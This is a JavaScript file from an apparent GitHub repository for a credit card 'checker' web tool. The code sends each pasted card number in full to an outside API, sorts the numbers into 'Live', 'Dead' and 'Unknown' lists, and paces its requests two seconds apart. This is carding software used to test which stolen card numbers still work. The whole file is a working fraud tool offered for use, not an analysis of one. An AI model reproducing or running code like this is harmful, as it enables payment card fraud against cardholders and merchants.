-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathscript.js
More file actions
174 lines (142 loc) · 4.9 KB
/
Copy pathscript.js
File metadata and controls
174 lines (142 loc) · 4.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
const checkBtn = document.getElementById('check-btn');
const stopCheckBtn = document.getElementById('stop-check-btn');
const numbersTextarea = document.getElementById('numbers');
const resultOutputTextarea = document.getElementById('result-output');
const liveNumbersTextarea = document.getElementById('ali-numbers');
const deadNumbersTextarea = document.getElementById('muhammad-numbers');
const unknownNumbersTextarea = document.getElementById('murad-numbers');
let stopChecking = false;
let liveCount = 0;
let deadCount = 0;
let unknownCount = 0;
checkBtn.addEventListener('click', startChecking);
stopCheckBtn.addEventListener('click', () => {
stopChecking = true;
stopCheckBtn.disabled = true;
checkBtn.disabled = false;
appendToStatusOutput("⏹️ Checking stopped by user.\n");
});
function toggleButtons() {
checkBtn.disabled = true;
stopCheckBtn.disabled = false;
}
async function startChecking() {
stopChecking = false;
liveCount = 0;
deadCount = 0;
unknownCount = 0;
resultOutputTextarea.value = "";
liveNumbersTextarea.value = "";
deadNumbersTextarea.value = "";
unknownNumbersTextarea.value = "";
updateSummaryCounts(0, 0, 0);
const input = numbersTextarea.value.trim();
const cards = input.split("\n").filter(line => line.trim() !== "");
if (cards.length === 0) {
Swal.fire({
icon: 'warning',
title: 'No cards provided!',
text: 'Please enter credit card numbers to check.',
toast: true,
position: 'top-end',
timer: 3000,
showConfirmButton: false
});
return;
}
checkBtn.disabled = true;
stopCheckBtn.disabled = false;
appendToStatusOutput(`⏳ Starting check of ${cards.length} cards...\n`);
for (let i = 0; i < cards.length; i++) {
if (stopChecking) break;
const card = cards[i].trim();
appendToStatusOutput(`➡️ Checking card ${i + 1} of ${cards.length}: ${card}\n`);
try {
const apiURL = `https://chkr-api.vercel.app/api/chkr?cc=${encodeURIComponent(card)}`;
const response = await fetch(apiURL);
if (!response.ok) throw new Error(`API responded with status ${response.status}`);
const data = await response.json();
let status = 'Unknown';
if (data.status === 'Live' || data.status === 'APPROVED') status = 'Live';
else if (data.status === 'Die' || data.status === 'DECLINED') status = 'Dead';
const message = data.message || 'No message';
if (status === 'Live') {
liveCount++;
liveNumbersTextarea.value += card + "\n";
appendToStatusOutput(`Result: 🟢 Live - ${message}\n`);
} else if (status === 'Dead') {
deadCount++;
deadNumbersTextarea.value += card + "\n";
appendToStatusOutput(`Result: 🔴 Dead - ${message}\n`);
} else {
unknownCount++;
unknownNumbersTextarea.value += card + "\n";
appendToStatusOutput(`Result: ⚪ Unknown - ${message}\n`);
}
updateSummaryCounts(liveCount, deadCount, unknownCount);
} catch (error) {
appendToStatusOutput(`❌ Error checking card ${card}: ${error.message}\n`);
}
if (i !== cards.length - 1) {
await countdownTimer(2);
}
}
appendToStatusOutput("\n✅ Checking Finished!\n");
checkBtn.disabled = false;
stopCheckBtn.disabled = true;
Swal.fire({
icon: 'success',
title: 'All cards checked!',
toast: true,
position: 'top-end',
timer: 3000,
showConfirmButton: false
});
}
function countdownTimer(seconds) {
return new Promise((resolve) => {
let timeLeft = seconds;
const previousStatus = resultOutputTextarea.value.split('\n').slice(1).join('\n');
const interval = setInterval(() => {
resultOutputTextarea.value = `⏳ Waiting: ${timeLeft} second(s) left...\n${previousStatus}`;
timeLeft--;
if (timeLeft < 0) {
clearInterval(interval);
resolve();
}
}, 1000);
});
}
function appendToStatusOutput(text) {
resultOutputTextarea.value += text;
resultOutputTextarea.scrollTop = resultOutputTextarea.scrollHeight;
}
function updateSummaryCounts(live, dead, unknown) {
document.getElementById('ali-count').textContent = live;
document.getElementById('muhammad-count').textContent = dead;
document.getElementById('murad-count').textContent = unknown;
}
function copyToClipboard(id) {
const textarea = document.getElementById(id);
textarea.select();
document.execCommand("copy");
Swal.fire({
icon: 'success',
title: 'Copied!',
toast: true,
position: 'top-end',
timer: 1500,
showConfirmButton: false
});
}
function toggleMenu() {
const menu = document.getElementById('dropdown-menu');
menu.classList.toggle('show');
}
document.addEventListener('click', function (event) {
const toggle = document.querySelector('.menu-toggle');
const menu = document.getElementById('dropdown-menu');
if (!menu.contains(event.target) && !toggle.contains(event.target)) {
menu.classList.remove('show');
}
});